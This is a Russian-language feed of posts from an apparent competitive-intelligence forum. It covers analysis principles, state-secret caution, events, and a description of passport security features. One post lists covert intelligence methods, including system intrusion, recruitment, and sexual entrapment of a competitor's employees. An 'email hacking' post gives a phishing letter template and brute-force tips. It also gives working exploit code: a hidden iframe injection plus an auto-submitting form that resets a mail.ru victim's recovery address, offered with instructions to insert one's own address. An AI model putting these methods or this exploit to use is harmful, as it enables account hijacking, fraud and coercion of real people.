Секрет успеха наступательных военных действий состоит в том, чтобы «быть сильным там, где это нужно». Естественным следствием такого условия является требование «уметь без риска для себя быть слабым там, где это допустимо». Соответственно, успех информационной работы зависит, по крайней мере частично, от того, что мы не делаем.

Чтобы обеспечить своевременное представление инфор¬мации, необходимо устанавливать крайние сроки оконча¬ния работы над заданием. А это может привести к спешке, неглубокому изучению данного вопроса и снижению уро¬вня научно-исследэвательской работы, а также вызвать целый ряд других последствий, неприятных для рядового научно-исследовательского работника.


Сознание важности своевременно завершать работу от¬части дело привычки. Ученым она свойственна в весьма незначительной мере. Журналисты же об этом никогда не забывают. Большинство информационных документов разведки по своему значению в такой же степени «преходящи», как статья в журнале типа «Форин афферс». Например, прекрасная статья Мосли «Советская внешняя политика после смерти Сталина» была весьма интересной и ценной во время ее написания. Однако она быстро теряет эти каче¬ства по мере того, как идет время и изменяется обстановка. Если это в понятной форме разъяснить сотрудникам информационной службы, с тем чтобы они до конца осознали важность своевременности информации, нам легче будет преодолевать естественное противодействие с их стороны требованиям об ускорении работы.

В информационной работе так же, как при строительстве линкоров, следует руководствоваться принципом «мало, но быстро» с тем чтобы к моменту «появления» документа на свет он содержал в себе новейшие сведения. При этом условии каждый документ попадет к тому, кто его использует, тогда, когда его внутренняя ценность будет наивысшей.

...После пересмотра цифр о производстве чугуна необхо¬димо исправить все таблицы, связанные с производством стали. Затем схемы надо послать в чертежный отдел для переделки. К этому времени устаревают данные о производ¬стве меди. Данные о производстве никеля также требуют пересмотра.
И так продолжается без конца. Доклад все время пересматривается, но он никогда не бывает готовым. Удивительно, что разведчик-исследователь вполне удовлетворен таким положением. Он постоянно работает в своей специальной области, постоянно улучшает свой доклад. Он достигает самого высокого качества в своей научно-исследовательской работе. Однако он не дает ничего законченного. Доклад не печатается. Никто не получает от него никакой пользы.
Это весьма напоминает положение, которое может возникнуть во время длительного строительства длинного моста через реку. К тому времени, когда заканчивается сооружение части моста, прилегающей к противоположному берегу, уложенные ранее доски проезжей части моста у ближнего берега прогнивают и их необходимо менять и т. д. Мост никогда не бывает окончательно готов и никогда не будет готов, несмотря на то, что опытные мастера много и честно потрудились над ним.
Таков пример с длинным мостом. Необходимо любой ценой избегать подобного положения в разведке. После того как вы попали в этот заколдованный круг, выйти из него почти невозможно. Это буквально pons assino-rum (трудноразрешимая проблема - лат.).
Избежать такого кошмара — непрерывного пересмотра разведывательных материалов — можно только с помощью предварительного планирования работы в соответствии с принципом «мало, но быстро». Подход к вопросу о том, сколько потребуется времени для завершения работы, дол¬жен быть реалистичным. Он должен основываться, с одной стороны, на знании количества человеко-часов, необходимых для выполнения данного задания, и, с другой стороны, на представлении о том, какую часть своего времени, после вы¬чета времени, идущего на отпуска, праздники, предварительное знакомство с материалом и административную деятельность, разведчик сможет в действительности использовать для непосредственной творческой работы по решению дан¬ной проблемы.


Требование «ясности» изложения заслуживает большего внимания, чем обычно ему уделяют. Оно означает гораздо больше, чем «излагать ясно и на хорошем английском язы¬ке». Весьма важно, чтобы информация была удобочитаемой и убедительной.
Превосходный пример, говорящий о важности такого качества, как ясность и доходчивость изложения, можно привести из истории второй мировой войны. Высшие офи¬церы американской армии обычно стремились получить разведывательные оценки, составленные английской раз¬ведкой, предпочитая их аналогичным американским до¬кументам, хотя по существу американские оценки были вполне равноценны английским. Однако американские документы были написаны казенным языком, тяжеловесны, изобиловали излишними деталями, тогда как английские составлялись в непринужденном, неофициальном стиле и даже с некоторым оттенком юмора в подходящих местах.


Один из самых замечательных и удачливых английских разведчиков профессор Р. В. Джонс писал: «Критерий хорошей информационной работы не сводится к тому, что вы правы. Информация должна убе¬дить оперативные и исследовательские органы принять со¬ответствующие меры». Убедительность информации стра¬тегической разведки одинаково необходима как в мирное, так и в военное время.


ДЕВЯТЬ ПРИНЦИПОВ ИНФОРМАЦИОННОЙ РАБОТЫ
РАЗВЕДКИ В ИХ ОТНОШЕНИИ К ПРИНЦИПАМ ВЕДЕНИЯ
ВОЙНЫ КЛАУЗЕВИЦА

Цель. Любые военные действия проводятся для дости¬жения определенной цели, именуемой иначе задачей. Все эти действия подчинены достижению поставленной цели.

Простота — способствует успеху. На войне все го¬ворит о настоятельной необходимости простоты важнейших планов.

Единство командования — обеспечивает единство дей¬ствий, необходимое для эффективного применения боевой мощи всех имеющихся сил.

Наступление. С помощью наступательных действий командующий захватывает инициативу, сохраняет свободу действий и навязывает свою волю противнику.

Маневр — позволяет использовать свои силы против противника при наилучших для себя условиях. С помощью маневра часто проводятся в жизнь такие принципы, как массирование, экономия сил и внезапность.

Массирование, или сосредоточивание превосходящих сил... в решающем месте и в решающий момент с использованием их на главном направлении, создает условия, необходимые для достижения победы. Короче говоря, этот принцип состоит в том, чтобы быть сильным там, где это необходимо.

Экономия сил — является естественным следствием принципа массирования. Для того чтобы сосредоточить превосходящие силы в одном месте, необходимо экономно использовать их на других участках. Это пример рассчи¬танного риска.
Внезапность — при правильном использовании является одним из самых результативных принципов для достижения цели с минимальными потерями.

Боевое обеспечение войск — включает меры защиты от внезапного нападения, а также от действий противника, которые он, по имеющимся данным, может предпринять. Меры обеспечения включают в числе прочих такие элементы, как войсковая разведка, боевое охранение, подвижные резервы.


Никто, однако, не претендует на то, что принципы веде¬ния войны имеют универсальное применение. Бывают такие случаи, когда тот или иной из них не может быть с пользой применен.


Цель — этот принцип затрагивает все моменты, связанные с выполнением любого информационного задания. Подход к решению каждой информационной задачи должен зависеть от того, в каких целях будут использованы полу¬ченные результаты.
Цель задания обусловливает сроки его выполнения, размах работы, форму изложения и метод подхода.


Раскрытие значения фактов. Этот принцип требует выяснять смысл сырых фактов. Необходимо всячески добиваться установления того значения, которое имеют факты. Всегда следует показывать, в чем значение тех или иных фактов и положений. Часто этого можно добиться путем сравнения имеющихся данных с аналогичными дан¬ными, полученными год назад, или с данными того же рода по США. Указывая, какое значение имеет факт, мы тем самым в большой степени увеличиваем его полезность. Факты редко говорят сами за себя.


Учет тенденций тесно связан с предвидением, являющимся весьма важным элементом информационной работы. Изучая различные тенденции, мы пытаемся проникнуть своим умственным взором сквозь «туман будущего».

офицер информационной службы путем тщательного анализа должен точно установить степень достоверности, точности и правильности каждого важного факта или вывода подготавливаемого им информационного документа и затем сделать это абсолютно ясным своему читателю. При таком подходе значительно повышается полезность любого информационного документа.

Выводы. Выводы совершенно необходимы для того, чтобы информационный документ имел завершенный вид и мог быть максимально полезным.
«Выводы» являются естественным следствием достижения поставленной «цели». Чтобы сделать выводы, необходимо ответить на вопрос: «Что означает данное явление?» Во многих документах читаются и запоминаются только выводы. Необходимо проявлять величайшую заботу о том, чтобы в выводах важнейшие моменты излагались кратко и четко, не допуская, однако, чтобы краткость порождала неправильные представления. Составление выводов требует от разведчика самого высокого мастерства.]]> Sat, 30 May 2009 11:28:23 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=730 Как не вляпаться в гостайну. http://www.a-rsb.ru/forum/index.php?showtopic=746 Как не вляпаться в гостайну. Создаем инструкцию для аналитика конкурентной разведки.

Как известно (и как обсуждалось на этом форуме), в России есть серьезная проблема: конкретные сведения могут быть отнесены к гостайне секретным документом. Поэтому аналитик часто не может знать наверняка, содержит ли тот вопрос, над которым он работает, материалы, относящиеся к гостайне, или же нет.

Я сегодня около часа разговаривал по телефону с Валерием Афанасьевым. Разговор прошел очень спокойно и интересно. Мы с Валерием в ходе этой беседы пришли к выводу, что многие спорные вопросы вызваны, по-видимому, сложностью передачи ряда специфических оттенков в письменной речи. А значит, их можно попытаться разрешить, прояснив неясные моменты. Это будет полезно всем, кто интересуется конкурентной разведкой.
Мы решили начать с двух проблем, которые интересуют сразу многих людей. Одна из этих проблем - тема топика.

Все сознают, что проблема, поднятая мною в этом топике, есть. Но ее решения, внятно сформулированного для неспециалистов или новичков - нет. Наверное, будет правильно попытаться это решение сформулировать? Ведь гражданский аналитик вполне может быть нанят непонятно кем "на подработку". А последствия такой "подработки" могут быть крайне неприятными и для него самого и для страны.

Предлагаю отталкиваться от угроз, которые подстерегают аналитика. А от них уже и решения выработаются.
Еще раз подчеркну: мы говорим здесь о людях, не имеющих специальной подготовки. Они не служили в спецслужбах и не были допущены к гостайне. Поэтому не умеют с ней обращаться и что еще хуже - не знают, как вообще понять, что они, возможно, к ней приблизились.

Когда я учился в медицинском институте, нам на каждой кафедре говорили о так называемой онконастороженности. Это значило, что каждый специалист (не онколог, а, например, гастроэнтеролог, пульмонолог, офтальмолог, дерматолог и пр. ) рассматривает любое заболевание, задавая себе вопрос - не опухоль ли это? В таком случае, он, для исключения онкопатологии, сможет направить больного на консультацию к онкологу или же провести некоторые исследования самостоятельно. Но для того, чтобы настороженность врача вылилась в конкретные полезные действия, а не просто осталась запугиванием (или, что еще хуже, пустым звуком), нужно учить специалиста распознавать признаки опухоли.

Вот этот принцип онконастороженности я и предлагаю взять за основу, вырабатывая критерии для аналитика в контексте распознавания возможных проблем с гостайной. Чтобы аналитик не просто боялся, а понимал, на что ему обратить внимание и что делать при возникновении сомнений.

Что мы имеем сегодня, если подытожить все сказанное и прочитанное? Аналитика, как я в данный момент вижу, подстерегают следующие опасности:

1. Что он найдет готовые документы, содержащие гостайну

2. Что он найдет материалы, которые, будучи собраны вместе и проанализированы, составят предмет гостайны

3. Что его постепенно втянут в вербовочные мероприятия. То есть, сначала дадут нормальную, совершенно безопасную и неплохо оплачиваемую работу, а потом постепенно будут "повышать градус" - то есть, менять направленность исследований до тех пор, пока он не станет криминальным.

Какие в результате критерии должны отпугнуть аналитика и что ему делать? Начнем с того, что его должно насторожить:

1. Заказчик - иностранец (или россиянин, но обозначающий свою работу в интересах иностранцев)

2. Предмет исследования при "пробивке" в Интернете упоминается не только в мирном контексте, но и как военная продукция. А тем более - исключительно как военная продукция.

3. Вопрос каким-либо образом касается оборонных предприятий (например, территорий или земельных участков, которые имеют отношение к ВПК)

4. Заказчик, выражая удовлетворение проделанной работой, следующее задание дает такое, что оно начинает все ближе подходить под обозначенные выше критерии.

Что делать при выявлении таких фактов?

1. "Пробивать" в Интернете слова из ТЗ, рассматривая результат в контексте применения предмета исследования в военных целях. Если это есть - отказываться от такой работы.

2. Беря заказ у иностранного нражданина или иностранной компании, или у лица, явно связанного с иностранными гражданами и компаниями, хорошо подумать - а нужна ли эта головная боль? Ведь при возникновении проблем разбираться будут эксперты в ходе следствия, а порой и судебного заседания. Может быть, лучше не браться за такую работу вообще?

3. Если сомнения есть, но не браться за работу не получается, то, может быть, лучше отнести свой контракт и результаты в ФСБ и попросить оценить их? В таком случае хотя бы не наступит ответственность, а наоборот будет уверенность, что материалы прошли соответствующую экспертизу. В общем, как скажут.

Подчеркиваю: я не специалист по гостайне. Я никогда с ней не работал. Тем проще мне смотреть на вопрос глазами гражданского специалиста. Хотелось бы выслушать мнения коллег.

По всем трем критериям:
- опасности, которые подстерегают
- признаки, позволяющие определить возможное наличие опасности
- меры избежать опасности и соблюсти при этом интересы страны.]]> Sat, 06 Jun 2009 22:13:03 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=746 IP - адреса http://www.a-rsb.ru/forum/index.php?showtopic=734
Подскажите пожалуйста какую информацию можно отжать от Айпишника
по каким признакам он вообще классифицируется и идентифицируется...
Вот например мы знаем номет АйПи...и чо мне с ним делать двльше? sorry.gif]]> Tue, 02 Jun 2009 09:57:17 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=734 сбор информации о конкуренте легальными методами http://www.a-rsb.ru/forum/index.php?showtopic=17
Я начинающая предпринимательница.Подскажите пожалуйста какими легальными способами можно собрать информацию о конкуренте: оборотам,партнерах,клиентах ?
Возможно ли это сделать самомтоятельно.Если да, то как ?

Заранее спасибо за ответ!]]> Mon, 27 Feb 2006 23:11:30 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=17 Сбор закрытых сведений. http://www.a-rsb.ru/forum/index.php?showtopic=353
Здесь много зависит от артистизма "разведчика". Умение внушать доверие, провоцировать не самые лучшие чувства, тщеславие, в первую очередь, обеспечивает более половины успеха.

2.1. Опрос общих клиентов
2.2. Опрос общих поставщиков
2.3. Сбор сведений от бывших сотрудников
2.4. Сбор сведений от соискателей
2.5. Сбор сведений от других конкурентов
2.6. Незавершенная пробная покупка
2.7. Завершенная пробная покупка
2.8. Организация попытки сотрудничества или кооперации от своего имени
2.9. Организация попытки сотрудничества под видом потенциального поставщика
2.10. Организация попытки сотрудничества под видом сервисного поставщика
2.11. Опрос конкурента под видом маркетингового исследования
2.12. Провокация сотрудника конкурента адресным вопросом на форуме в Интернете
2.13. Сбор информации под видом соискателя
2.14. Организация и поддержание знакомства с сотрудником конкурента от третьего лица
2.15. Использование анонимного Интернет-знакомства с сотрудником конкурирующей организации
Начиная с этого пункта, воплощение приемов в жизнь имеет смысл, если "на кону" очень и очень существенные суммы. Оправдать затраты в несколько тысяч долларов могут только интересы в миллионы "нерусских" рублей.

2.16. Организация сотрудничества под видом сервисного поставщика от лица третьей компании
2.17. Организация попытки слияния от собственного лица
2.18. Организация попытки инвестиций (полной или частичной покупки бизнеса конкурента) от третьего лица

Методы приведены в позновательно-ознакомительных целях, а также организации противодействия и их использование настоятельно не рекомендуется.

2.19. Использование связей в государственных органах власти
2.20. Использование связей в правоохранительных органах
2.21. Использование связей в криминальной среде
2.22. Использование связей в банковской сфере
2.23. Копирование данных информационной системы конкурентов
2.24. Проникновение в информационную систему конкурента
2.25. Использование технических средств аудио, видео наблюдения
2.26. Вербовка персонала конкурента
2.27. Внедрение своего персонала в структуру конкурента
2.28. Наружное наблюдение за контактами ключевых лиц организации-конкурента
2.29. Использование существующего сексуального объекта сотрудника конкурента как источника информации
2.30. Организация сексуального контакта сотрудника конкурирующей организации с последующим использованием объекта как информатора
Необходимо заметить, что для признания информации достоверной, необходимо ее совпадения из двух-трех различных источников.]]> Sat, 20 Sep 2008 14:29:44 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=353 Взлом электронной почты http://www.a-rsb.ru/forum/index.php?showtopic=351
За предоставленную информацию благодарю пользователя S.E.R.

Сегодня я расскажу про взлом e-mail и соответвенно про защиту от него.

Способ №1.

Взлом:
Этот способ самый простой и рассчитан на неопытных пользоателей. Мы отправляем на ящик жертвы сообщение типа:"Здравствуйте уважаемый пользователь, мы проводим базовую проверку и удаляем несуществующие адреса, если вы хотите, чтобы ваш аккаунт не был удалён, то ответьте на это письмо указав в поле "Тема" Ваш логин и пароль в следующем формате: username; password". Да и не забудьте, письмо это лучше отправить с ящика типа administrator@mail.ru или robotmail@mail.ru, ну или сами что-нибудь придумайте (IMG:style_emoticons/default/biggrin.gif)

Защита:
Будьте умнее, почтовые службы никогда так не делают. Они и так знают ваш пароль ))


Способ №2.

Взлом:
http://vzlom-i-xaking.narod.ru/
http://kladoffka.narod.ru/
и т.д.
ДАЖЕ НЕ ДУМАЙТЕ делать, то что написано на этих сайтах-это чистый развод, но зато владельцы этих страничек получают достаточно паролей на разные мыла. Можно делать такую же страничку например на narod.ru и поменять там на свой e-mail и гарантированно найдутся такие-кто пошлёт вам свой пароль.
И ещё много других страни

Защита:
Не поддавайтесь на провокации! Халявы не бывает!


Способ №3.

Взлом:
Назовём этот метод-угадывание пароля. Это ручной подбор. Например пароль может совпадать с e-mail адресом или если ты знаешь другой пароль этого пользователя-то попробуй подогнать его. Очень у многих людей на всех интернет службах одинаковые пароли.

Защита:
Ваш пароль должен быть сложным и желательно разным для различных интернет служб.

Способ №4.

Взлом:
Метод перебора. Банально перебираем пароли брутусом (в настройках надо указать "POP3", адрес сервера и логин), базу паролей лечко можно откуда-нибудь скачать. Этот способ довольно действенный и показывает очень хорошие результаты.

Защита:
Составление сложного пароля, желательно с цифрами и различным регистром у букв.

Способ №5.

Взлом:
Получения пасса через службу восстановления забытого пароля. Хакеор собирает о жертве информацию просто спрашивая её у тебя, а потом восстанавливает пароль при помощи этого. Вот мыло и уплыло.

Защита:
Обращайте внимание на незнакомых людей пытающихся узнать твои личные данные. AHTUNG: хакер может прикинуться девушкой.

Способ №6.

Взлом:
Посылка трояна(например, Pinch) на e-mail.

Защита:
Не открываете подозрительные письма, а особенно опасайтесь вложений.

И на последок про уязвимость на mail.ru:

Этот способ позволяет нам изменить альтернативный адрес в анкете, а изменив этот адрес на наш мы с лёгкостью сможем получить пароль с помощью службы восстановления пароля.

I. Отсылаем на нужный ящик письмо с кодом, который сгенерирует непосредственно в теле письма фрейм со ссылкой на наш сайт. По возможности скрипт должен срабатывать без какого-либо участия пользователя (нажатие, клик, наведение мышкой, загрузка изображения и тд):
<embed src="java script:document.getElementById('xxx').innerHTML='<iframe src=http://yoursite.yourdomain.ru/yourscript.html></iframe>';this.wav"> <p id='xxx'>

Для того чтобы полностью обеспечить работоспособность скрипта, а так же маскировку, преобразуем:
<embed src="java script:status=location;document.getElementById('xxx').innerHTML='<iframe src=http://yoursite.ru/yourscript.html width=0 height=0></iframe>';this.wav" width=0 height=0> <p id='xxx'>
В таком виде, коды символов заменяют буквы в имени элементов javascript и iframe, и почтовый скрипт не отфильтровывает их (читай статью "Особенности синтаксиса HTML"). Строчка status=location; создает в строке состояния видимость локального URL, чтобы постороннее мелькание не вызывало подозрений. Аттрибуты width и height, как фрейма, так и embed задаются равными нулю, и делают их невидимыми.
II. На ресурсе http://yoursite.ru распологаем HTML-документ с формой отправки измененных данных на сервер mail.ru. Содержимое yourscript.html:


<form method="post" action="http://win.mail.ru/cgi-bin/anketa" name="anketa">
<input type="hidden" name="page" value="2">
<input type="hidden" name="Email" value="ser1990@list.ru">
<input type="hidden" value="Сохранить" name="Save">
</form>
<script>
document.anketa.submit();
</script>

Пример: http://ser-skiv.jino-net.ru/yourscript.html
Да и ещё не забудьте поменять моё мыло(ser1990@list.ru) на ваше.]]> Fri, 12 Sep 2008 09:33:52 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=351 Защита репутации в Интернете, в т.ч. на Форумах http://www.a-rsb.ru/forum/index.php?showtopic=661 защита репутации в Интернете (в т.ч. на Интернет-Форумах и в блогосфере), а также интернет-разведка.

Вот сайт моей компании - ООО "Маркетинг рисков и возможностей"

Более подробно я сформулировал направления ее работы так:

Мониторинг информации в Интернете, в т.ч. в Невидимом Интернете. А также в блогах, Интернет-форумах;

Партизанский маркетинг на Интернет-форумах и в блогосфере;

Ведение корпоративных блогов вашей компании на аутсорсинге;

Создание и ведение боевых блогов в интересах вашего бизнеса;

Борьба с потребительским экстремизмом, и прочим негативом, , в том ччисле инспирированным вашими конкурентами, в Интернет-форумах, социальных сетях и блогосфере;

Интернет-разведка, в том числе Интернет-разведка в Невидимом Интернете;

Противодействие “Черному PR” в Интернете;

Конкурентная разведка;

Помощь в борьбе с рейдерами в Интернете. Сотрудничество с антирейдерами и коллекторами. ВАЖНО: Предложения о сотрудничестве от рейдеров не рассматриваются.

А также мы предлагаем обучение тому, что перечислено выше, или предоставление вам этих услуг на аутсорсинге.

Более подробно можно посмотреть и послушать в презентации. Она длинная - 49 минут в общей сложности (и 35 МБ). Но слайды можно произвольно пролистывать. Первые несколько слайдов там рассказывают обо мне, а потом идет рассказ об услугах компании "Маркетинг рисков и возможностей". Причем, это не столько рекламный рассказ, сколько объяснение того, с чем мы работаем.



Информация размещена с согласия владельца портала. Олег, спасибо!]]> Sat, 14 Mar 2009 11:15:07 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=661 Защита конфиденциальной информации в Интернете. http://www.a-rsb.ru/forum/index.php?showtopic=606 Я там участвую.


Круглый стол
Защита конфиденциальной информации в Интернете
24 марта 2009 г., Москва


Приглашаем: руководителей компаний, аналитиков, специалистов служб безопасности, а также специалистов по ИТ, системных администраторов и всех, кто заинтересован в организации эффективного поиска информации в Интернете.

Цель мероприятия: анализ основных проблем, ошибок и уязвимостей в организации защиты конфиденциальных данных в российских компаниях и выработка практических рекомендаций.

Программа


11:00 – 12:00 Масалович А.И, Президент Консорциума «Инфорус» - Практические приемы раннего обнаружения утечек и защиты конфиденциальной информации от действий рейдеров, конкурентов и инсайдеров. Конкурентная разведка в невидимом Интернете.

12:00 – 12:30 Сердюк В.А., Генеральный директор ЗАО «ДиалогНаука» - Практические аспекты аудита информационной безопасности.

12:30 – 13:00 Ющук Е.Л. Член международного Общества профессионалов конкурентной разведки (SCIP) – Блоги и Интернет - форумы как оружие корпоративной войны.

13:00 – 15:00 – выступления участников круглого стола, обсуждение

15:00 – 15:15 – подведение итогов, выработка решения

15:15 – 16:00 – кофе, неформальное общение


Планируемая численность участников – 25 человек.]]> Wed, 18 Feb 2009 12:10:01 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=606 ЦРУ использует для сбора информации аналог Wikiped http://www.a-rsb.ru/forum/index.php?showtopic=564
Особенностью системы является возможность допуска в нее персонала других специальных служб США, что резко повышает общую информированность подобных организаций.

В рамках Intellipedia создана отдельная иерархия прав доступа, которая не допускает относительно свободного распространения секретной информации. Кроме того, в недрах ЦРУ работает аналог YouTube.com, фотоархив типа Flickr и даже специализированные блоги, сообщает http://www.theinquirer.net.

]]> Mon, 02 Feb 2009 20:24:36 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=564 Новый информационный ресурс для разведчика http://www.a-rsb.ru/forum/index.php?showtopic=557
Цитата
28 января 2009 года научная социальная сеть Scientific Social Community запустила свои сервисы для российских ученых. Ключевые инструменты данной социальной сети, такие как «Поиск Грантов», «Аспирантура», «Научные вакансии», «Конференции», «Поиск ученых» были дополнены информацией российского научного сообщества.

Благодаря этому в Рунете, по-видимому, впервые появилась площадка, содержащая большое количество актуальной научной информации — поиск финансирования и грантов, аспирантуры, молодых специалистов и научных вакансий, проведение совместных экспериментов — которая интересна и важна для ученых всех постсоветских государств.

«Наука не может ограничиваться рамками одной страны. Вклад каждой страны важен и ценен для развития мировой науки. Однако несмотря на колоссальный вклад российских ученых, до настоящего момента не существовало удобной социальной сети, решающей проблемы поиска ими разноплановой научной информации. Ученые из России, Украины, Германии, Франции а также других европейских стран сотрудничают друг с другом, совместно публикуются в ведущих научных журналах. Поэтому необходимость единой научной социальной сети для ученых, в первую очередь, постсоветского пространства — очевидна», - отметил Евгений Мележик, руководитель проекта Scientific Social Community.

«Гранты, аспирантура, научные вакансии, информация о разработках тех или иных институтов — эта информация очень важна для развития науки, но разрознена и разбросана по различным источникам. Мы видим данное Сообщество не только местом встречи ученых разных стран, но и удобным средством для поиска важной научной информации, которое на данный момент не имеет аналогов в Рунете», - подчеркнул администратор проекта Андрей Клещонок.

«Вклад ученых разных стран важен для развития мировой науки. Мы хотели бы, чтобы научные инструменты нашей социальной сети оказались полезными каждому из них», - прокомментировал администратор проекта Роман Зайцев.

Все сервисы социальной сети для ученых www.Science-Community.org полностью бесплатны, и для доступа к ним достаточно пройти регистрацию.


Если он действительно заработает и привлечет внимание ученых, то возможно станет тем самым полем. где будут "пастись" не только российские разведчики smile.gif
]]> Thu, 29 Jan 2009 09:18:03 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=557 <![CDATA[Как общегражданский паспорт "стучит" на владельца]]> http://www.a-rsb.ru/forum/index.php?showtopic=507 Нумерация бланка паспорта гражданина Российской Федерации состоит из трех групп цифр. Она воспроизводится в верхней части второй, третьей, восемнадцатой, девятнадцатой и нижней части пятой, седьмой, десятой, одиннадцатой, четырнадцатой и шестнадцатой страниц.

Первая группа цифр - серия бланка паспорта (см. таблицу №1) состоит из двух знаков и соответствует коду, закрепленному за соответствующим субъектом (регионом) Российской Федерации.

Вторая группа цифр также состоит из двух знаков и указывает год выпуска бланка паспорта.

Третья группа цифр - порядковый номер бланка паспорта состоит из шести знаков.

Например, в бланке паспорта напечатано "45 02 573482".

Цифры "45" - код г. Москвы.

Цифры "02" - 2002 год выпуска бланка паспорта.

Цифры "573482" - порядковый номер.

В связи с особенность" технологического процесса в 1997 году изготовлены бланки паспортов специального тиража и одновременно начато их серийное производство.

В специальном тираже:

- для всех субъектов (регионов) Российской Федерации (за исключением Москвы, Московской области, г. Санкт-Петербурга и Ленинградской области) номера бланков паспорта начинаются с цифры 1 и заканчивается цифрой 10.

- для г. Москвы установлен номер от 1 до 100, для Московской области - от 1 до 50, для г. Санкт-Петербурга - от 1 до 30, для Ленинградской области - от 1 до 20.

- для Ленинградской области паспорта с номерами от 21 до 100 не печатались, для Московской области с номерами от -51 до 100, для г. Санкт-Петербурга с номерами - от 31 до 100, для +всех других субъектов Российской Федерации с номерами от 11 до 100.

При серийном производстве:

- номера бланков паспорта для всех без исключения субъектов Российской Федерации (регионов) начинаются с числа 101 и заканчиваются числом 999999. Причем, номера бланков паспорта "сквозные" и не связаны с годом изготовления бланков. Например, номера бланков паспорта, изготовленные в 1997 году; 97 000101-97 003500; в 1998 году будут продолжены с номера 98 003501 и т.д., а после изготовления 999999 - ого бланка следующим будет номер 000101 с соответствующим годом изготовления.



2. Описание гербовой мастичной печати


Гербовая мастичная печать (см. образец) предназначена для проставления мастичных оттисков на второй странице бланка паспорта гражданина Российской Федерации. Она выполнена в виде окружности диаметром 31 мм. Все изображение печати условно разделено на 4 части - внешнее кольцо, среднее кольцо, внутреннее кольцо и центральная часть.

Внешнее кольцо

Внешнее кольцо печати разделено пополам черными на белом фоне пятиугольными звездочками. строго ориентированными по горизонтали.

В верхней, по отношению к номеру паспортно-визового подразделения, половине кольца белым шрифтом на черном фоне выполнена надпись "МИНИСТЕРСТВО ВНУТРЕННИХ ДЕЛ РОССИЙСКОЙ ФЕДЕРАЦИИ". В нижней половине кольца та же надпись выполнена черным шрифтом с белым контуром на сером фоне.

Среднее кольцо

Верхние две трети среднего кольца печати занимает надпись "Паспортно-визовая служба МВД России". Надпись выполнена черным цветом на белом фоне.

Нижнюю треть кольца занимает номер, соответствующий коду подразделения, паспортно-визовой службы, вносимого в соответствующий реквизит на стр.2 бланка паспорта.

Номер выполнен черным цветом на фоне защитной сетки и отделяется от надписи восьмиугольными звездочками серого тона.

Защитная сетка состоит из трех разделенных между собой горизонтальными промежутками частей. Размеры и конфигурация верхней и нижней частей сетки идентичны. Средняя часть представляет собой уменьшенное изображение верхней и нижней частей.

Внутреннее кольцо

Внутреннее кольцо печати образовано двумя разделенными между собой пятиконечными звездочками надписями следующего содержания: "Печать основного документа, удостоверяющего личность гражданина Российской Федерации". Надписи выполнены микротекстом.

Центральная часть

В центральной части печати расположен Государственный герб Российской Федерации (без щита) в растровом исполнении (не менее 6 полутонов).


3. Описание номера гербовой мастичной печати
Номер гербовой мастичной печати соответствует коду подразделения паспортно-визовой службы (см. таблицу 2), вносимому в соответствующий реквизит на стр. 2 бланка.

Номер гербовой мастичной печати состоит из двух групп цифр (три цифры в каждой группе), которые разделены между собой дефисом.

Первая группа - код, закрепленный за конкретным субъектом Российской Федерации. Третья цифра первой группы обозначает уровень паспортно-визового подразделения в системе органа внутренних дел: 1 - ПВС МВД, ГУВД, УВД субъекта Российской Федерации, 2-- ПВС районного (городского) отдела (управления) внутренних дел. 3 - ПВС. обслуживающая территорию городского (поселкового) отделения милиции.

Вторая группа цифр обозначает номер, закрепляемый приказом МВД, ГУВД, УВД за конкретным паспортно-визовым подразделением.

Копия приказа о закрепленных за паспортно-визовыми подразделениями номерах в установленном порядке направляется в ГТВУ МВД России.

4. Требования к техническим средствам при оформлении паспорта гражданина Российской Федерации
При оформлении паспорта гражданина Российской Федерации (далее -"паспорт") с использованием технических средств необходимо соблюдать общие правила, установленные Инструкцией о применении Положения о паспорте гражданина Российской Федерации.

Для внесения записей на страницах 2, 3, 16 и 17 паспорта могут использоваться обычные электрические пишущие машинки, пригодные для оформления документов, изготовленных в виде книжек толщиной не менее 2 мм, специальные плоскопечатающие устройства со шрифтовым колесом типа "ромашка" (автономные или с возможностью подключения к ПЭВМ), а также матричные плоскопечатающие принтеры (типа РА55 ВООК, ВООК РК1МТ и т.п.) со следующими обязательными техническими характеристиками:

- количество игл - не менее 18;
- шрифты - ROMAN, OCRB (русифицированный);
- качество шрифтов - DRAFT, LQ;
- совместимость - IBM PPDS, ЕSC/Р;
- интерфейс - CENTRONICS, RS 232
- позиционирование - механическое или оптическое.

При заполнении реквизитов паспорта при помощи технических средств используются заглавные буквы. Написание дат производится по следующим правилам: число - две цифры, далее точка, без пробела номер месяца, далее точка и без пробела четыре цифры гола (например 12.12.1998).

Личная фотография гражданина наклеивается специальным клеем.

Вшитая в бланк паспорта ламинаторная пленка холодного прикатывания (самоклеющаяся) наносится на полностью оформленную страницу 3 после поэтапного (по соответствующим просечкам) снятия с клеевого слоя бумажной подложки. При этом необходимо внешнюю поверхность пленки прокатывать роликом или разглаживать краем линейки достаточной ширины по направлению от прошивки к длинному краю паспорта. Ламинаторная пленка горячего прикатывания скрепляется с оформленной страницей паспорта при пропускании закрытого и обернутого бумагой паспорта

5. Защитные элементы паспорта гражданина Российской Федерации




Бланк паспорта гражданина Российской Федерация содержит следующие защитные элементы:

1. В бумаге страниц бланка:

- 3 - тоновый водяной знак в виде букв "РФ" (при просмотре на просвет или под углом 5-10 град. к странице);
- защитные волокна 3 видов (видимые в обычном световом диапазоне -красного цвета, видимые в ультрафиолетовом диапазоне - светло-зеленого и желтого цветов).
2. В печати страниц бланка:

- при просмотре в ультрафиолетовом диапазоне краска рамки переднего форзаца светится желто - зеленым свечением, аналогично высвечивается слово "ПАСПОРТ" на стр. 2, слово "Россия" - на стр. 3, слова "МЕСТО ЖИТЕЛЬСТВА" - на 6, 8, 9 и 12 страницах;

- на титульной, странице текст "Паспорт гражданина Российской Федерации" и гильоширная полоса на стр. 20 исполнены металлографической печатью;

- рельефная сетка;

- на всех страницах бланка ирисовая печать(плавный переход из одного цвета в другой);

- строки для заполнения на стр. 2 и 3 выполнены микротекстом;

